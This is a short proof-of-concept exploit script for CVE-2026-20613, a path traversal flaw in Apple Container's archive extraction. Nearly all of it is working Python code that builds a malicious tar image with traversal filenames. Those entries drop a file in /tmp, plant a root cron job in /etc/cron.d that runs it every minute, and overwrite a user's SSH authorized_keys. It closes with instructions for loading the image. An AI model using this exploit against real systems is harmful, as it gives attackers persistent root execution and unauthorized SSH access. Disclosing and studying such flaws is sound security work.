CVE-2026-20613 Apple Container ArchiveReader.extractContents() 目录遍历漏洞

#!/usr/bin/env python3 # CVE-2026-20613 PoC - Path Traversal in ArchiveReader.extractContents() # Generate a malicious tar archive with path traversal filenames import tarfile import os def create_malicious_archive(output_path): """Create a tar archive with path traversal payloads""" malicious_files = [ # Path traversal to write to /tmp ("../../../../tmp/pwned_by_cve_2026_20613", "Malicious file created via path traversal"), # Path traversal to write to home directory ("../../../../home/../../../etc/cron.d/malicious_cron", "* * * * * root /tmp/pwned_by_cve_2026_20613\n"), # Path traversal to write SSH authorized_keys ("../../../../home/user/.ssh/authorized_keys", "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7..."), ] with tarfile.open(output_path, "w") as tar: for filename, content in malicious_files: # Create file-like object in memory import io file_data = io.BytesIO(content.encode('utf-8')) # Add file with path traversal name tarinfo = tarfile.TarInfo(name=filename) tarinfo.size = len(content) tar.addfile(tarinfo, file_data) print(f"[+] Malicious archive created: {output_path}") print(f"[+] Contains {len(malicious_files)} path traversal entries") def verify_archive_entries(archive_path): """Verify the contents of the malicious archive""" with tarfile.open(archive_path, "r") as tar: print("\n[+] Archive contents:") for member in tar.getmembers(): print(f" - {member.name}") if __name__ == "__main__": output_file = "malicious_container_image.tar" create_malicious_archive(output_file) verify_archive_entries(output_file) print("\n[!] Usage: cctl image load malicious_container_image.tar") print("[!] This will extract files outside the intended directory")